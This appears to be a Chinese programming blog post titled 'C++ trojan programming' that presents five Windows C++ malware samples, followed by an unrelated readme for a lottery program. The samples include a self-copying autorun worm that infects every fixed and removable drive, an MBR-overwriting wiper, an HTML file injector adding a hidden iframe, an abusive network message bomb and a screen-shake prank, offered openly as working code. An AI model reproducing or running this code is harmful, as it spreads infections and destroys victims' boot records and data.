c++木马编程

1、消息炸弹

#define UNICODE 
#define _UNICODE 
#include <stdio.h> 
#include <tchar.h> 
#include <windows.h> 
#include <Lm.h> 
//消息炸弹
#pragma comment(lib, "Netapi32.lib") // 加载Netapi32.lib库 


void main(int argc, wchar_t *argv[]) 
{ 	
	TCHAR *DesIp = _TEXT("1210.36.16.167"); 
	
	TCHAR *SouIp = _TEXT("255.255.255.255"); 
	
	TCHAR *Msg = _TEXT("Fuck All MM"); 
	
	int nRet = NetMessageBufferSend(NULL, DesIp, SouIp, (LPBYTE)Msg, sizeof(Msg)); 
	
	if (nRet != NERR_Success) 		
	{ 
		
		printf("Error\n"); 		
	} else{
		printf("success\n");
	}
	getchar();
	
} 

2、网页感染

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h>
bool inject(char *filepath)
{
	char url[]="\r\n<iframe src=http://www.baidu.com/ width=0 height=0></iframe>";
	FILE *fp;
	fp=fopen(filepath,"rb+");
	if(fp==NULL)
	{
		return false;
	}
	fseek(fp,0,SEEK_END);
	fwrite(url,sizeof(char),strlen(url),fp);
	fclose(fp);
	return true;
}
void setColor(unsigned short ForeColor=3,unsigned short BackGroundColor=0) 
//给参数默认值
{ 
	HANDLE hCon = GetStdHandle(STD_OUTPUT_HANDLE); //
	SetConsoleTextAttribute(hCon,ForeColor|BackGroundColor); 	
}
void OutPutDebugInfo(char *s,int level=0)
{
	switch (level)
	{
	case 0:
		setColor(7,0);//白色
		printf("%s",s);
		break;
	case 1:
		setColor(FOREGROUND_GREEN,0);;//绿色
		printf("%s",s);
		break;
	case 2:
		setColor(6,0);//黄色
		printf("%s",s);
		break;
	case 3:
		setColor(FOREGROUND_RED,0);//红色
		printf("%s",s);
		break;
	default:
		setColor(7,0);//白色
		printf("%s",s);
		break;

	}
}
int main(int argc, char* argv[]) 
{ 	
	if(!inject("c:\\test.htm")) 		
	{ 		
		OutPutDebugInfo("Inject Error\n",3); 
		
	}else 		
	{ 		
		OutPutDebugInfo("Inject success\n"); 		
	} 	
	//OutPutDebugInfo("Inject success\n");
	getchar();
	return 0; 
	
} 

3、闪屏特效

//闪屏特效
#include <stdio.h>
#include <windows.h>
void flashWindow()
{

	HWND handle=GetForegroundWindow();
	for(int i=0;i<15;i++)
	{
		RECT rc;
		GetWindowRect(handle,&rc);
		MoveWindow(handle,rc.left+8,rc.top+8,rc.right-rc.left,rc.bottom-rc.top,1);
		Sleep(40);
		MoveWindow(handle,rc.left,rc.top,rc.right-rc.left,rc.bottom-rc.top,1);
		Sleep(40);
		Beep(0x0fff,10);//配音
	}

}
void main()
{
	flashWindow();
	getchar();
}

4、磁盘感染

#include <windows.h>
#include <stdio.h>
//磁盘感染
void WriteIni(char* path)
{

	char inifilePath[MAX_PATH];
	strcpy(inifilePath,path);
	strcat(inifilePath,"\\autorun.inf");
	WritePrivateProfileString("AutoRun","open","AutoRun.exe",inifilePath);//写入INI
	WritePrivateProfileString("AutoRun","shell\\open","Open(&0)",inifilePath);//写入INI
	WritePrivateProfileString("AutoRun","shell\\open\\Command","AutoRun.exe",inifilePath);

	SetFileAttributes(inifilePath,FILE_ATTRIBUTE_READONLY|FILE_ATTRIBUTE_HIDDEN);

}
void InjectAllDisk()
{

	for(char i='A';i<'Z';i++)
	{

		char x[20]={i,':'};
		UINT type=GetDriveType(x);
		if(type==DRIVE_FIXED||type==DRIVE_REMOVABLE)
		{

			printf("InjectAllDisk\n");
			WriteIni(x);
			char virusPath[MAX_PATH];
			char currentPath[MAX_PATH];
			GetModuleFileName(NULL,currentPath,MAX_PATH);
			sprintf(virusPath,"%s%s",x,"\\AutoRun.exe");
			CopyFile(currentPath,virusPath,TRUE);
			SetFileAttributes(virusPath,FILE_ATTRIBUTE_READONLY|FILE_ATTRIBUTE_READONLY);

		}

	}
}
DWORD WINAPI StartInject(LPVOID lparam)
{
	char szCmd[MAX_PATH];
	char path[MAX_PATH];
	GetModuleFileName(NULL,path,MAX_PATH);
	path[2]='\0';
	sprintf(szCmd,"explorer %s",path);
	WinExec(szCmd,SW_SHOW);
	while(TRUE)
	{

		InjectAllDisk();
		Sleep(1000*60);
	}
	return 0;


}
int main(int argc,char*argv[])
{

	HANDLE Thread=CreateThread(NULL,NULL,StartInject,NULL,NULL,NULL);
	WaitForSingleObject(Thread,INFINITE);

	return 0;
}

5、MBR炸弹

// MBR炸弹 
#include "StdAfx.h"
#include <windows.h>
#include <winioctl.h>

int killMBR();

int APIENTRY WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd )
{

	MessageBox(NULL,"Fuck MBR!","Fuck!",0);
	killMBR();
	return 0;
}
unsigned char scode[]="\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29"; 


int killMBR() 
{
	HANDLE hDevice;
	DWORD dwBytesWritten,dwBytesReturned;
	BYTE pMBR[512]={0};
	memcpy(pMBR,scode,sizeof(scode)-1);//重新构造MBR

	pMBR[510]=0x55;
	pMBR[511]=0xAA;
	hDevice=CreateFile("\\\\.\\PHYSICALDRIVEO",
		GENERIC_READ|GENERIC_WRITE,
		FILE_SHARE_READ|FILE_SHARE_WRITE,
		NULL,OPEN_EXISTING,0,NULL);
	if(hDevice==INVALID_HANDLE_VALUE)
	{

		return -1;
	}
	DeviceIoControl(hDevice,FSCTL_LOCK_VOLUME,NULL,0,NULL,0,
		&dwBytesReturned,NULL);
	WriteFile(hDevice,pMBR,sizeof(pMBR),&dwBytesWritten,NULL);//写入病毒内容

	DeviceIoControl(hDevice,FSCTL_UNLOCK_VOLUME,NULL,0,NULL,0
		,&dwBytesReturned,NULL);
	CloseHandle(hDevice);
	ExitProcess(-1);
	return 0;
}



  • 5
    点赞
  • 25
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
民主时代投票是解决问题的主要方式,然而很多情况下以1:1票数对立是还是需要随机解决。 如:本公司是50人的小公司举行元旦晚会,公司做外贸,没有艺术专业的评委等。 这就是石头剪刀布一直存在并将长期存在的根源。 配置根目录ImageLottery.ini文件可以修改运行所需要的参数。 如果你经常使用,可以对ImageLottery.exe点右键,创建快捷方式,把快捷方式复制到本机任何地方。 也可以根据习惯给快捷方式取个中文名称。 Count=10 此行为待选的图片数量,必须要对应数量的图片项目 Image1=Images\0001.png?张姗姗?1 ImageXX=xxx的行为待选图片行,格式是图片相对路径+半角问号+人名+半角问号+倍率(必须是1) 运行时按Space(空格键)开始随机抽选,如果已经在抽选中则停止并选择一张图片 停止抽选状态按Enter(回车键)查看中奖列表 在查看中奖列表时按组合键Ctrl+Alt+Shift+Backspace可放弃本次抽选进入等待开始抽选的状态 提示:Backspace是退格键,四个键同时按下触发 个人声明: 您可以修改本程序所用的所有外部文件:背景、声音及其他参数,以实现个性化的抽奖。 为此我把设计时的PSD文件附上,方便大家修改,如果你不会Photoshop那么找个会的人请TA吃饭吧。 全屏背景和窗口化的背景是不同的图片,修改时需要注意。 软件使用C/C++编写,基于GDI+技术,请在Windows NT 4.0以上版本系统中运行。 NT4 包括 Windows98,Windows2000,WindowsXP,Windows2003等。 破解也是一种能力,本人不反对对此软件的任何逆向研究。然而发布带木马、病毒、流氓代码的破解版而导致 的后果就与老朽我无关了。1.0.5.1版本主程序ImageLottery.exe大小90112字节。 有BUG或建议可到博客留言:http://blog.csdn.net/prsniper
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值